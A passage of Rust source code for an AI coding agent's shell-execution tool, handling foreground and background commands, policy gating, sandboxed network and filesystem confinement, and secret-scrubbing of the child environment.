1use std::path::{Path, PathBuf};
24use std::process::Stdio;
25use std::time::{Duration, Instant};
26
27use async_trait::async_trait;
28use tokio::io::{AsyncRead, AsyncReadExt, AsyncWriteExt};
29use tokio::process::Command;
30
31use crate::app::{FilesystemPolicy, NetworkPolicy};
32use crate::constants::{COMMAND_MAX_TIMEOUT_SECS, COMMAND_TIMEOUT_SECS};
33use crate::domain::{
34 ManagedProcess, ManagedProcessStatus, ToolDefinition, ToolMetadata, ToolOutcome,
35 ToolRunMetadata,
36};
37
38use super::super::ctx::{ExecContext, ProgressEvent};
39use super::ToolExecutor;
40
41pub struct ExecuteCommandTool;
51
52#[derive(Debug, Clone, Copy, PartialEq, Eq)]
53enum CommandMode {
54 Wait,
55 Background,
56}
57
58impl CommandMode {
59 fn parse(args: &serde_json::Value) -> Result<Self, String> {
60 match args.get("mode").and_then(|v| v.as_str()).unwrap_or("wait") {
61 "wait" | "foreground" => Ok(Self::Wait),
62 "background" => Ok(Self::Background),
63 other => Err(format!(
64 "execute_command: mode must be 'wait' or 'background', got '{}'",
65 other
66 )),
67 }
68 }
69}
70
71#[async_trait]
72impl ToolExecutor for ExecuteCommandTool {
73 fn name(&self) -> &'static str {
74 "execute_command"
75 }
76
77 fn schema(&self) -> ToolDefinition {
78 ToolDefinition {
79 name: "execute_command".to_string(),
80 description:
81 "Run a shell command. Use mode='wait' for finite commands, or mode='background' for dev servers and GUI/daemon-style commands that should keep running after the tool returns. Ctrl+C during foreground execution aborts the child immediately. The session scratchpad directory (for throwaway files) is exported to the child as MERMAID_SCRATCHPAD."
82 .to_string(),
83 input_schema: serde_json::json!({
84 "type": "object",
85 "properties": {
86 "command": { "type": "string", "description": "Shell command to run." },
87 "working_dir": { "type": "string", "description": "Override working directory (absolute)." },
88 "mode": {
89 "type": "string",
90 "enum": ["wait", "background"],
91 "default": "wait",
92 "description": "Use 'background' for long-running servers, daemons, and GUI launchers."
93 },
94 "timeout": {
95 "type": "integer",
96 "description": "Per-call foreground timeout in seconds. Default 30, max 300. Foreground timeout kills the child."
97 },
98 "startup_timeout_secs": {
99 "type": "integer",
100 "description": "Background mode: seconds to watch startup logs for readiness. Default 5, max 30."
101 },
102 "ready_pattern": {
103 "type": "string",
104 "description": "Background mode: text that marks the server/app ready when it appears in the startup log."
105 },
106 "open_url": {
107 "type": "string",
108 "description": "Background mode: URL to open with the default browser after startup."
109 }
110 },
111 "required": ["command"]
112 }),
113 }
114 }
115
116 async fn execute(&self, args: serde_json::Value, ctx: ExecContext) -> ToolOutcome {
117 let Some(command) = args.get("command").and_then(|v| v.as_str()) else {
118 return ToolOutcome::error("execute_command requires 'command' (string)", 0.0);
119 };
120
121 if contains_dangerous_command(command) {
122 return ToolOutcome::error(format!("Dangerous command blocked: {}", command), 0.0);
123 }
124
125 let (effective_workdir, within_project) = match args
132 .get("working_dir")
133 .and_then(|v| v.as_str())
134 {
135 Some(raw) => match super::path_safety::resolve_path_within(&ctx.workdir, raw) {
136 Ok(resolved) => resolved,
137 Err(e) => {
138 return ToolOutcome::error(format!("execute_command working_dir: {e}"), 0.0);
139 },
140 },
141 None => (ctx.workdir.clone(), true),
142 };
143 let containment = classify_cwd(
144 within_project,
145 &effective_workdir,
146 ctx.scratchpad.as_deref(),
147 );
148
149 let category = match containment {
150 CwdContainment::Project | CwdContainment::Scratchpad => {
151 crate::runtime::ToolCategory::Shell
152 },
153 CwdContainment::External => crate::runtime::ToolCategory::ExternalDirectory,
154 };
155 let scratch_contained = containment == CwdContainment::Scratchpad
158 && ctx
159 .scratchpad
160 .as_deref()
161 .is_some_and(|scratch| command_provably_in_scratch(command, scratch));
162 let mut policy_request =
163 crate::runtime::ActionRequest::new("execute_command", category, command.to_string());
164 policy_request.command = Some(command.to_string());
165 if containment == CwdContainment::External {
166 policy_request.path = Some(effective_workdir.display().to_string());
167 }
168 let pending_action = serde_json::json!({
169 "tool": "execute_command",
170 "args": args.clone(),
171 "workdir": effective_workdir.display().to_string(),
172 "turn_id": ctx.turn.0,
173 "call_id": ctx.call_id.0,
174 "task_id": ctx.task_id.clone(),
175 });
176 match super::policy_gate::gate(
181 &ctx,
182 policy_request,
183 &[],
184 pending_action.clone(),
185 true,
186 scratch_contained,
187 )
188 .await
189 {
190 super::policy_gate::Gate::Block(outcome) => return outcome,
191 super::policy_gate::Gate::Proceed { risk } => {
192 if !scratch_contained
195 && ctx.config.safety.checkpoint_on_mutation
196 && risk != crate::runtime::RiskClass::ReadOnly
197 {
198 let _ = crate::runtime::create_checkpoint_for_task(
199 &ctx.workdir,
200 &[],
201 Some(pending_action.clone()),
202 ctx.checkpoint_origin(),
203 );
204 }
205 },
206 }
207
208 let mode = match CommandMode::parse(&args) {
209 Ok(mode) => mode,
210 Err(error) => return ToolOutcome::error(error, 0.0),
211 };
212 let shell_payload = serde_json::json!({
213 "task_id": ctx.task_id.clone(),
214 "turn_id": ctx.turn.0,
215 "call_id": ctx.call_id.0,
216 "command": command,
217 "working_dir": effective_workdir.display().to_string(),
218 });
219 let _ = crate::runtime::run_plugin_hooks("before_shell", &shell_payload);
220 if mode == CommandMode::Background {
221 let startup_timeout_secs = args
222 .get("startup_timeout_secs")
223 .or_else(|| args.get("startup_timeout"))
224 .and_then(|v| v.as_u64())
225 .unwrap_or(5)
226 .clamp(1, 30);
227 let ready_pattern = args
228 .get("ready_pattern")
229 .and_then(|v| v.as_str())
230 .map(str::to_string);
231 let open_url = args
232 .get("open_url")
233 .and_then(|v| v.as_str())
234 .filter(|v| !v.trim().is_empty())
235 .map(str::to_string);
236 let outcome = run_background_command(
237 command,
238 &effective_workdir,
239 startup_timeout_secs,
240 ready_pattern.as_deref(),
241 open_url.as_deref(),
242 ctx,
243 )
244 .await;
245 let _ = crate::runtime::run_plugin_hooks(
246 "after_shell",
247 &serde_json::json!({
248 "command": command,
249 "status": format!("{:?}", outcome.status),
250 "summary": &outcome.summary,
251 }),
252 );
253 return outcome;
254 }
255
256 let timeout_secs = args
257 .get("timeout")
258 .and_then(|v| v.as_u64())
259 .unwrap_or(COMMAND_TIMEOUT_SECS)
260 .min(COMMAND_MAX_TIMEOUT_SECS);
261
262 let command = command.to_string();
263 let start = Instant::now();
264 let progress = ctx.progress.clone();
265
266 let sandbox_expected = cfg!(any(target_os = "linux", target_os = "macos"));
284 let net_requested = matches!(ctx.config.safety.network, NetworkPolicy::Deny);
285 let fs_requested = matches!(ctx.config.safety.filesystem, FilesystemPolicy::Project);
286 let (net_available, fs_available) = sandbox_probes();
287 let sandbox_network = net_requested && (sandbox_expected || net_available);
288 let sandbox_fs = fs_requested && (sandbox_expected || fs_available);
289 if (net_requested && !net_available) || (fs_requested && !fs_available) {
290 static DEGRADED_WARN: std::sync::Once = std::sync::Once::new();
291 DEGRADED_WARN.call_once(|| {
292 if sandbox_expected {
293 tracing::warn!(
294 "sandbox policy requested but the OS sandbox backend probe failed; \
295 sandboxed commands will refuse to run (fail-closed)"
296 );
297 } else {
298 tracing::warn!(
299 "sandbox policy requested but no OS sandbox backend exists on this \
300 platform; commands run unconfined"
301 );
302 }
303 });
304 }
305 let confine_writes: Option<Vec<PathBuf>> = sandbox_fs.then(|| {
310 let mut dirs = vec![
311 ctx.workdir.clone(),
312 effective_workdir.clone(),
313 std::env::temp_dir(),
314 ];
315 if cfg!(unix) {
316 dirs.push(PathBuf::from("/dev"));
317 }
318 dirs.dedup();
319 dirs
320 });
321 if ctx.config.exec.pty_enabled() {
328 let invocation = shell_invocation(&command, sandbox_network, confine_writes.as_deref());
329 match run_command_pty(
330 &invocation,
331 &effective_workdir,
332 ctx.scratchpad.as_deref(),
333 progress.clone(),
334 ctx.token.clone(),
335 ctx.background.clone(),
336 Duration::from_secs(timeout_secs),
337 )
338 .await
339 {
340 Ok(run) => {
341 let outcome = finish_foreground_command(
342 Ok(run),
343 &command,
344 &effective_workdir,
345 start,
346 timeout_secs,
347 sandbox_network,
348 sandbox_fs,
349 );
350 let _ = crate::runtime::run_plugin_hooks(
351 "after_shell",
352 &serde_json::json!({
353 "command": command,
354 "status": format!("{:?}", outcome.status),
355 "summary": &outcome.summary,
356 }),
357 );
358 return outcome;
359 },
360 Err(err) => {
363 tracing::warn!(error = %err, "PTY exec unavailable; falling back to pipes");
364 },
365 }
366 }
367
368 let mut cmd = build_sandboxed_shell(&command, sandbox_network, confine_writes.as_deref());
369 cmd.stdin(Stdio::null())
370 .stdout(Stdio::piped())
371 .stderr(Stdio::piped())
372 .kill_on_drop(false);
382
383 #[cfg(unix)]
396 unsafe {
397 cmd.pre_exec(|| {
398 rustix::process::setsid()?;
399 Ok(())
400 });
401 }
402
403 cmd.current_dir(&effective_workdir);
404 scrub_secret_env(&mut cmd);
405 harden_noninteractive_env(&mut cmd);
406 export_scratchpad_env(&mut cmd, ctx.scratchpad.as_deref());
407
408 let outcome = finish_foreground_command(
413 run_command(
414 cmd,
415 progress,
416 ctx.token.clone(),
417 ctx.background.clone(),
418 Duration::from_secs(timeout_secs),
419 )
420 .await,
421 &command,
422 &effective_workdir,
423 start,
424 timeout_secs,
425 sandbox_network,
426 sandbox_fs,
427 );
428 let _ = crate::runtime::run_plugin_hooks(
429 "after_shell",
430 &serde_json::json!({
431 "command": command,
432 "status": format!("{:?}", outcome.status),
433 "summary": &outcome.summary,
434 }),
435 );
436 outcome
437 }
438}
439
440#[allow(clippy::too_many_lines)]
445fn finish_foreground_command(
446 result: std::io::Result<CommandRunResult>,
447 command: &str,
448 effective_workdir: &Path,
449 start: Instant,
450 timeout_secs: u64,
451 sandbox_network: bool,
452 sandbox_fs: bool,
453) -> ToolOutcome {
454 let command = command.to_string();
455 match result {
456 Ok(CommandRunResult::Completed(run)) => {
457 let duration_secs = start.elapsed().as_secs_f64();
458 let output_len = run.output.len();
459 let mut metadata = command_metadata(CommandMetadataInput {
460 command: command.clone(),
461 working_dir: Some(effective_workdir.display().to_string()),
462 exit_code: run.exit_code,
463 timed_out: false,
464 background: false,
465 stdout_lines: run.stdout_lines,
466 stderr_lines: run.stderr_lines,
467 detected_urls: all_urls(&run.output),
468 pid: None,
469 log_path: None,
470 byte_count: Some(output_len),
471 });
472 if let Some(kind) = detect_denial(&run, sandbox_network, sandbox_fs) {
473 if let ToolMetadata::ExecuteCommand {
477 denied_by_sandbox, ..
478 } = &mut metadata.detail
479 {
480 *denied_by_sandbox = true;
481 }
482 let message = match kind {
483 DenialKind::Network if cfg!(target_os = "linux") => {
487 NETWORK_DENIED_MESSAGE.to_string()
488 },
489 DenialKind::Network => format!(
490 "{HEDGED_NETWORK_DENIED_MESSAGE}\n\n--- original output ---\n{}",
491 run.output
492 ),
493 DenialKind::Filesystem => format!(
494 "{FS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
495 run.output
496 ),
497 DenialKind::Ambiguous => format!(
498 "{AMBIGUOUS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
499 run.output
500 ),
501 };
502 ToolOutcome::error(message, duration_secs).with_metadata(metadata)
503 } else {
504 ToolOutcome::success(run.output.clone(), "command completed", duration_secs)
505 .with_metadata(metadata)
506 }
507 },
508 Ok(CommandRunResult::Detached { pid, log_path }) => {
509 let duration_secs = start.elapsed().as_secs_f64();
511 let log_path_str = log_path.display().to_string();
512 let output = format!(
513 "Moved to background.\nPID: {pid}\nLog: {log_path_str}\nManage it with /processes, /logs {pid}, /stop {pid}."
514 );
515 let process = ManagedProcess {
516 id: format!("bg-{pid}"),
517 pid,
518 command: command.to_string(),
519 cwd: Some(effective_workdir.display().to_string()),
520 log_path: log_path_str.clone(),
521 detected_url: None,
522 status: ManagedProcessStatus::Running,
523 };
524 let mut metadata = command_metadata(CommandMetadataInput {
525 command: command.to_string(),
526 working_dir: Some(effective_workdir.display().to_string()),
527 exit_code: None,
528 timed_out: false,
529 background: true,
530 stdout_lines: 0,
531 stderr_lines: 0,
532 detected_urls: Vec::new(),
533 pid: Some(pid),
534 log_path: Some(log_path_str),
535 byte_count: Some(output.len()),
536 });
537 metadata.process = Some(process);
538 ToolOutcome::success(output, "moved to background", duration_secs)
539 .with_metadata(metadata)
540 },
541 Ok(CommandRunResult::Cancelled) => ToolOutcome::cancelled(),
542 Ok(CommandRunResult::TimedOut) => {
543 let message = format!(
544 "Command timed out after {} seconds and was killed. \
545 For dev servers, GUI apps, or other long-running commands, call execute_command with mode=\"background\".",
546 timeout_secs
547 );
548 let duration_secs = start.elapsed().as_secs_f64();
549 ToolOutcome::error(message, duration_secs).with_metadata(command_metadata(
550 CommandMetadataInput {
551 command: command.clone(),
552 working_dir: Some(effective_workdir.display().to_string()),
553 exit_code: None,
554 timed_out: true,
555 background: false,
556 stdout_lines: 0,
557 stderr_lines: 0,
558 detected_urls: Vec::new(),
559 pid: None,
560 log_path: None,
561 byte_count: None,
562 },
563 ))
564 },
565 Err(e) => {
566 let duration_secs = start.elapsed().as_secs_f64();
567 ToolOutcome::error(format!("Command failed: {}", e), duration_secs).with_metadata(
568 command_metadata(CommandMetadataInput {
569 command: command.clone(),
570 working_dir: Some(effective_workdir.display().to_string()),
571 exit_code: None,
572 timed_out: false,
573 background: false,
574 stdout_lines: 0,
575 stderr_lines: 0,
576 detected_urls: Vec::new(),
577 pid: None,
578 log_path: None,
579 byte_count: None,
580 }),
581 )
582 },
583 }
584}
585
586#[derive(Debug)]
587struct BackgroundStartup {
588 ready_message: String,
589 log_excerpt: String,
590 detected_url: Option<String>,
591}
592
593async fn run_background_command(
594 command: &str,
595 workdir: &Path,
596 startup_timeout_secs: u64,
597 ready_pattern: Option<&str>,
598 open_url: Option<&str>,
599 ctx: ExecContext,
600) -> ToolOutcome {
601 let start = Instant::now();
602
603 {
604 let log_path = background_log_path();
605 let pid =
606 match launch_background_process(command, workdir, &log_path, ctx.scratchpad.as_deref())
607 .await
608 {
609 Ok(pid) => pid,
610 Err(error) => {
611 return ToolOutcome::error(error, start.elapsed().as_secs_f64());
612 },
613 };
614
615 let startup = match wait_for_background_startup(
616 pid,
617 &log_path,
618 startup_timeout_secs,
619 ready_pattern,
620 &ctx,
621 )
622 .await
623 {
624 Ok(startup) => startup,
625 Err(BackgroundWaitError::Cancelled) => {
626 crate::utils::terminate_tree(pid, crate::utils::Grace::Graceful).await;
627 return ToolOutcome::cancelled();
628 },
629 Err(BackgroundWaitError::ExitedEarly(log_excerpt)) => {
630 return ToolOutcome::error(
631 format!(
632 "Background command exited during startup. Log: {}\n\n{}",
633 log_path.display(),
634 log_excerpt
635 ),
636 start.elapsed().as_secs_f64(),
637 );
638 },
639 };
640
641 let opened = if let Some(url) = open_url {
642 Some((url.to_string(), open_browser_url(url).await))
643 } else {
644 None
645 };
646
647 let mut output = format!(
648 "Background command started.\nPID: {}\nLog: {}\n{}\n",
649 pid,
650 log_path.display(),
651 startup.ready_message
652 );
653 if let Some(url) = startup.detected_url.as_ref() {
654 output.push_str(&format!("Detected URL: {}\n", url));
655 }
656 if let Some((url, result)) = opened {
657 match result {
658 Ok(()) => output.push_str(&format!("Opened URL: {}\n", url)),
659 Err(error) => output.push_str(&format!("Open URL failed: {} ({})\n", url, error)),
660 }
661 }
662 if !startup.log_excerpt.trim().is_empty() {
663 output.push_str("\n--- startup output ---\n");
664 output.push_str(&startup.log_excerpt);
665 }
666
667 let duration_secs = start.elapsed().as_secs_f64();
668 let log_path_str = log_path.display().to_string();
669 let detected_urls = startup.detected_url.iter().cloned().collect::<Vec<_>>();
670 let process = ManagedProcess {
671 id: format!("bg-{}", pid),
672 pid,
673 command: command.to_string(),
674 cwd: Some(workdir.display().to_string()),
675 log_path: log_path_str.clone(),
676 detected_url: startup.detected_url.clone(),
677 status: ManagedProcessStatus::Running,
678 };
679 let byte_count = output.len();
680 let mut metadata = command_metadata(CommandMetadataInput {
681 command: command.to_string(),
682 working_dir: Some(workdir.display().to_string()),
683 exit_code: None,
684 timed_out: false,
685 background: true,
686 stdout_lines: startup.log_excerpt.lines().count(),
687 stderr_lines: 0,
688 detected_urls,
689 pid: Some(pid),
690 log_path: Some(log_path_str),
691 byte_count: Some(byte_count),
692 });
693 metadata.process = Some(process);
694 ToolOutcome::success(output, "background process started", duration_secs)
695 .with_metadata(metadata)
696 }
697}
698
699#[cfg(not(target_os = "windows"))]
700async fn launch_background_process(
701 command: &str,
702 workdir: &Path,
703 log_path: &Path,
704 scratchpad: Option<&Path>,
705) -> Result<u32, String> {
706 create_log_file_blocking(log_path).map_err(|e| {
712 format!(
713 "failed to create background log {}: {e}",
714 log_path.display()
715 )
716 })?;
717 let mut launcher = Command::new("sh");
718 launcher
719 .arg("-c")
720 .arg(
721 r#"log=$MERMAID_BG_LOG
727cmd=$MERMAID_BG_COMMAND
728: > "$log" || exit 125
729if command -v setsid >/dev/null 2>&1; then
730 setsid sh -c "$cmd" > "$log" 2>&1 < /dev/null &
731else
732 nohup sh -c "$cmd" > "$log" 2>&1 < /dev/null &
733fi
734printf '%s\n' "$!""#,
735 )
736 .env("MERMAID_BG_LOG", log_path)
737 .env("MERMAID_BG_COMMAND", command)
738 .current_dir(workdir)
739 .stdin(Stdio::null())
740 .stdout(Stdio::piped())
741 .stderr(Stdio::piped());
742 scrub_secret_env(&mut launcher);
743 harden_noninteractive_env(&mut launcher);
744 export_scratchpad_env(&mut launcher, scratchpad);
745
746 let output = launcher
747 .output()
748 .await
749 .map_err(|e| format!("failed to launch background command: {}", e))?;
750 if !output.status.success() {
751 return Err(format!(
752 "background launcher failed: {}",
753 String::from_utf8_lossy(&output.stderr)
754 ));
755 }
756 let stdout = String::from_utf8_lossy(&output.stdout);
757 stdout.trim().parse::<u32>().map_err(|e| {
758 format!(
759 "background launcher did not return a pid: {} ({})",
760 stdout, e
761 )
762 })
763}
764
765#[cfg(target_os = "windows")]
770async fn launch_background_process(
771 command: &str,
772 workdir: &Path,
773 log_path: &Path,
774 scratchpad: Option<&Path>,
775) -> Result<u32, String> {
776 use crate::utils::{CREATE_NEW_PROCESS_GROUP, DETACHED_PROCESS};
777 let log = std::fs::File::create(log_path).map_err(|e| {
778 format!(
779 "failed to create background log {}: {e}",
780 log_path.display()
781 )
782 })?;
783 let log_err = log
784 .try_clone()
785 .map_err(|e| format!("failed to clone background log handle: {e}"))?;
786 let mut launcher = Command::new("cmd");
787 launcher
788 .arg("/C")
789 .arg(command)
790 .current_dir(workdir)
791 .stdin(Stdio::null())
792 .stdout(Stdio::from(log))
793 .stderr(Stdio::from(log_err))
794 .creation_flags(DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP);
795 scrub_secret_env(&mut launcher);
796 harden_noninteractive_env(&mut launcher);
797 export_scratchpad_env(&mut launcher, scratchpad);
798 let child = launcher
799 .spawn()
800 .map_err(|e| format!("failed to launch background command: {e}"))?;
801 child
802 .id()
803 .ok_or_else(|| "background command produced no pid".to_string())
804}
805
806#[derive(Debug)]
807enum BackgroundWaitError {
808 Cancelled,
809 ExitedEarly(String),
810}
811
812async fn wait_for_background_startup(
813 pid: u32,
814 log_path: &Path,
815 startup_timeout_secs: u64,
816 ready_pattern: Option<&str>,
817 ctx: &ExecContext,
818) -> Result<BackgroundStartup, BackgroundWaitError> {
819 let start = Instant::now();
820 let startup_timeout = Duration::from_secs(startup_timeout_secs);
821
822 loop {
823 if ctx.token.is_cancelled() {
824 return Err(BackgroundWaitError::Cancelled);
825 }
826
827 let last_log = read_log_lossy(log_path).await;
828 let detected_url = first_url(&last_log);
829
830 if !process_running(pid).await {
831 return Err(BackgroundWaitError::ExitedEarly(tail_lines(&last_log, 40)));
832 }
833
834 if let Some(pattern) = ready_pattern {
835 if last_log.contains(pattern) {
836 return Ok(BackgroundStartup {
837 ready_message: format!("Ready: matched pattern {:?}", pattern),
838 log_excerpt: tail_lines(&last_log, 40),
839 detected_url,
840 });
841 }
842 } else if start.elapsed() >= Duration::from_secs(1) || !last_log.is_empty() {
843 return Ok(BackgroundStartup {
844 ready_message:
845 "Ready: no ready_pattern provided; process is running after startup check"
846 .to_string(),
847 log_excerpt: tail_lines(&last_log, 40),
848 detected_url,
849 });
850 }
851
852 if start.elapsed() >= startup_timeout {
853 let ready_message = if let Some(pattern) = ready_pattern {
854 format!(
855 "Ready: pattern {:?} was not seen within {}s; process is still running",
856 pattern, startup_timeout_secs
857 )
858 } else {
859 format!(
860 "Ready: startup check reached {}s; process is still running",
861 startup_timeout_secs
862 )
863 };
864 return Ok(BackgroundStartup {
865 ready_message,
866 log_excerpt: tail_lines(&last_log, 40),
867 detected_url,
868 });
869 }
870
871 tokio::select! {
872 _ = ctx.token.cancelled() => return Err(BackgroundWaitError::Cancelled),
873 _ = tokio::time::sleep(Duration::from_millis(200)) => {},
874 }
875 }
876}
877
878async fn read_log_lossy(path: &Path) -> String {
879 tokio::fs::read_to_string(path).await.unwrap_or_default()
880}
881
882#[cfg(not(target_os = "windows"))]
883async fn process_running(pid: u32) -> bool {
884 Command::new("kill")
885 .arg("-0")
886 .arg(pid.to_string())
887 .stdin(Stdio::null())
888 .stdout(Stdio::null())
889 .stderr(Stdio::null())
890 .status()
891 .await
892 .map(|status| status.success())
893 .unwrap_or(false)
894}
895
896#[cfg(target_os = "windows")]
899async fn process_running(pid: u32) -> bool {
900 Command::new("tasklist")
901 .args(["/FI", &format!("PID eq {pid}"), "/NH"])
902 .stdin(Stdio::null())
903 .stdout(Stdio::piped())
904 .stderr(Stdio::null())
905 .output()
906 .await
907 .map(|out| String::from_utf8_lossy(&out.stdout).contains(&pid.to_string()))
908 .unwrap_or(false)
909}
910
911fn background_log_path() -> PathBuf {
923 let nanos = std::time::SystemTime::now()
924 .duration_since(std::time::UNIX_EPOCH)
925 .map(|d| d.as_nanos())
926 .unwrap_or_default();
927 let name = format!("mermaid-bg-{}-{}.log", std::process::id(), nanos);
928 match crate::utils::private_temp_dir() {
929 Ok(dir) => dir.join(name),
930 Err(_) => std::env::temp_dir().join(name),
931 }
932}
933
934#[cfg(unix)]
941fn create_log_file_blocking(path: &Path) -> std::io::Result<std::fs::File> {
942 use std::os::unix::fs::OpenOptionsExt;
943 std::fs::OpenOptions::new()
944 .write(true)
945 .create_new(true)
946 .mode(0o600)
947 .open(path)
948}
949
950fn create_tee_log_blocking(path: &Path) -> Option<tokio::fs::File> {
955 #[cfg(unix)]
956 let std_file = create_log_file_blocking(path).ok();
957 #[cfg(not(unix))]
958 let std_file = std::fs::File::create(path).ok();
959 std_file.map(tokio::fs::File::from_std)
960}
961
962struct CommandMetadataInput {
963 command: String,
964 working_dir: Option<String>,
965 exit_code: Option<i32>,
966 timed_out: bool,
967 background: bool,
968 stdout_lines: usize,
969 stderr_lines: usize,
970 detected_urls: Vec<String>,
971 pid: Option<u32>,
972 log_path: Option<String>,
973 byte_count: Option<usize>,
974}
975
976fn command_metadata(input: CommandMetadataInput) -> ToolRunMetadata {
977 ToolRunMetadata {
978 detail: ToolMetadata::ExecuteCommand {
979 command: input.command,
980 working_dir: input.working_dir,
981 exit_code: input.exit_code,
982 timed_out: input.timed_out,
983 background: input.background,
984 stdout_lines: input.stdout_lines,
985 stderr_lines: input.stderr_lines,
986 detected_urls: input.detected_urls,
987 pid: input.pid,
988 log_path: input.log_path,
989 denied_by_sandbox: false,
992 },
993 line_count: Some(input.stdout_lines + input.stderr_lines),
994 byte_count: input.byte_count,
995 ..ToolRunMetadata::default()
996 }
997}
998
999fn sandbox_probes() -> (bool, bool) {
1003 static PROBES: std::sync::OnceLock<(bool, bool)> = std::sync::OnceLock::new();
1004 *PROBES.get_or_init(|| {
1005 (
1006 crate::runtime::network_killswitch_available(),
1007 crate::runtime::fs_confinement_available(),
1008 )
1009 })
1010}
1011
1012const SANDBOX_KILL_SIGNAL: i32 = 31;
1014
1015#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1020enum DenialKind {
1021 Network,
1022 Filesystem,
1023 Ambiguous,
1024}
1025
1026fn detect_denial(
1038 run: &CommandRunOutput,
1039 sandbox_network: bool,
1040 sandbox_fs: bool,
1041) -> Option<DenialKind> {
1042 if cfg!(target_os = "linux") {
1043 if sandbox_network && is_sigsys_denial(run) {
1044 return Some(DenialKind::Network);
1045 }
1046 if sandbox_fs && is_permission_denial(run) {
1047 return Some(DenialKind::Filesystem);
1048 }
1049 return None;
1050 }
1051 if !is_permission_denial(run) {
1052 return None;
1053 }
1054 match (sandbox_network, sandbox_fs) {
1055 (true, true) => Some(DenialKind::Ambiguous),
1056 (true, false) => Some(DenialKind::Network),
1057 (false, true) => Some(DenialKind::Filesystem),
1058 (false, false) => None,
1059 }
1060}
1061
1062const NETWORK_DENIED_MESSAGE: &str = "Blocked by the network sandbox: this command tried to open an internet socket, which is denied because network access is off (safety.network = \"deny\" / --no-network). Re-run without --no-network, approve the command, or use full-access mode to allow network access.";
1066
1067const HEDGED_NETWORK_DENIED_MESSAGE: &str = "Command failed with a permission error while the network sandbox was active (safety.network = \"deny\" / --no-network); a network access was likely denied. Re-run without --no-network, approve the command, or use full-access mode to allow network access.";
1070
1071const FS_DENIED_MESSAGE: &str = "Command failed with a permission error while the filesystem sandbox was active (safety.filesystem = \"project\" / --confine-fs); a write outside the project directory, the system temp directory, or /dev was likely denied. Write inside the project, or re-run without --confine-fs to allow it.";
1076
1077const AMBIGUOUS_DENIED_MESSAGE: &str = "Command failed with a permission error while the network and filesystem sandboxes were active (--no-network / --confine-fs); a network access or a write outside the allowed directories was likely denied. Write inside the project, or re-run without the sandbox flags to allow it.";
1081
1082fn is_sigsys_denial(run: &CommandRunOutput) -> bool {
1086 run.signal == Some(SANDBOX_KILL_SIGNAL) || run.exit_code == Some(128 + SANDBOX_KILL_SIGNAL)
1087}
1088
1089fn is_permission_denial(run: &CommandRunOutput) -> bool {
1094 let failed = matches!(run.exit_code, Some(code) if code != 0);
1095 failed
1096 && (run.output.contains("Permission denied")
1097 || run.output.contains("Operation not permitted"))
1098}
1099
1100struct ShellInvocation {
1109 program: PathBuf,
1110 args: Vec<std::ffi::OsString>,
1111}
1112
1113fn shell_invocation(
1114 command: &str,
1115 sandbox_network: bool,
1116 confine_writes: Option<&[PathBuf]>,
1117) -> ShellInvocation {
1118 if sandbox_network || confine_writes.is_some() {
1119 let exe = std::env::current_exe().unwrap_or_else(|_| PathBuf::from("mermaid"));
1123 let mut args: Vec<std::ffi::OsString> = vec!["__sandbox-exec".into()];
1124 if sandbox_network {
1125 args.push("--no-network".into());
1126 }
1127 for dir in confine_writes.unwrap_or_default() {
1128 args.push("--confine-writes".into());
1129 args.push(dir.into());
1130 }
1131 args.extend(["--".into(), "sh".into(), "-c".into(), command.into()]);
1132 ShellInvocation { program: exe, args }
1133 } else {
1134 ShellInvocation {
1135 program: PathBuf::from(if cfg!(target_os = "windows") {
1136 "cmd"
1137 } else {
1138 "sh"
1139 }),
1140 args: vec![
1141 (if cfg!(target_os = "windows") {
1142 "/C"
1143 } else {
1144 "-c"
1145 })
1146 .into(),
1147 command.into(),
1148 ],
1149 }
1150 }
1151}
1152
1153fn build_sandboxed_shell(
1154 command: &str,
1155 sandbox_network: bool,
1156 confine_writes: Option<&[PathBuf]>,
1157) -> Command {
1158 let invocation = shell_invocation(command, sandbox_network, confine_writes);
1159 let mut cmd = Command::new(&invocation.program);
1160 cmd.args(&invocation.args);
1161 cmd
1162}
1163
1164#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1167enum CwdContainment {
1168 Project,
1169 Scratchpad,
1170 External,
1171}
1172
1173fn classify_cwd(
1177 within_project: bool,
1178 effective_workdir: &Path,
1179 scratchpad: Option<&Path>,
1180) -> CwdContainment {
1181 if within_project {
1182 return CwdContainment::Project;
1183 }
1184 match scratchpad.and_then(|s| std::fs::canonicalize(s).ok()) {
1185 Some(scratch) if effective_workdir.starts_with(&scratch) => CwdContainment::Scratchpad,
1186 _ => CwdContainment::External,
1187 }
1188}
1189
1190fn command_provably_in_scratch(command: &str, scratch: &Path) -> bool {
1198 const OPAQUE: &[char] = &[
1204 ';', '|', '&', '<', '>', '$', '`', '~', '*', '?', '[', ']', '(', ')', '{', '}', '!', '\n',
1205 '\r',
1206 ];
1207 if command.contains(OPAQUE) {
1208 return false;
1209 }
1210 let Ok(tokens) = shell_words::split(command) else {
1211 return false;
1212 };
1213 if tokens.is_empty() {
1214 return false;
1215 }
1216 tokens.iter().all(|t| token_provably_in_scratch(t, scratch))
1217}
1218
1219fn token_provably_in_scratch(token: &str, scratch: &Path) -> bool {
1233 if token.contains("..") || token.contains(":/") {
1234 return false;
1235 }
1236 let bytes = token.as_bytes();
1237 if bytes.len() >= 2 && bytes[1] == b':' && bytes[0].is_ascii_alphabetic() {
1238 return false;
1239 }
1240 if !token.contains(['/', '\\']) {
1241 return true;
1242 }
1243 if Path::new(token).has_root() {
1244 return Path::new(token).starts_with(scratch);
1245 }
1246 !token.starts_with('-') && !token.contains('=')
1247}
1248
1249const SCRATCHPAD_ENV_VAR: &str = "MERMAID_SCRATCHPAD";
1252
1253fn export_scratchpad_env(cmd: &mut Command, scratchpad: Option<&Path>) {
1257 if let Some(dir) = scratchpad {
1258 cmd.env(SCRATCHPAD_ENV_VAR, dir);
1259 }
1260}
1261
1262fn tail_lines(text: &str, max_lines: usize) -> String {
1263 let lines: Vec<&str> = text.lines().collect();
1264 let start = lines.len().saturating_sub(max_lines);
1265 lines[start..].join("\n")
1266}
1267
1268fn first_url(text: &str) -> Option<String> {
1269 text.split_whitespace()
1270 .find(|part| part.starts_with("http://") || part.starts_with("https://"))
1271 .map(|url| {
1272 url.trim_matches(|c: char| matches!(c, ')' | ']' | '}' | ',' | ';' | '"' | '\''))
1273 .to_string()
1274 })
1275}
1276
1277fn all_urls(text: &str) -> Vec<String> {
1278 text.split_whitespace()
1279 .filter(|part| part.starts_with("http://") || part.starts_with("https://"))
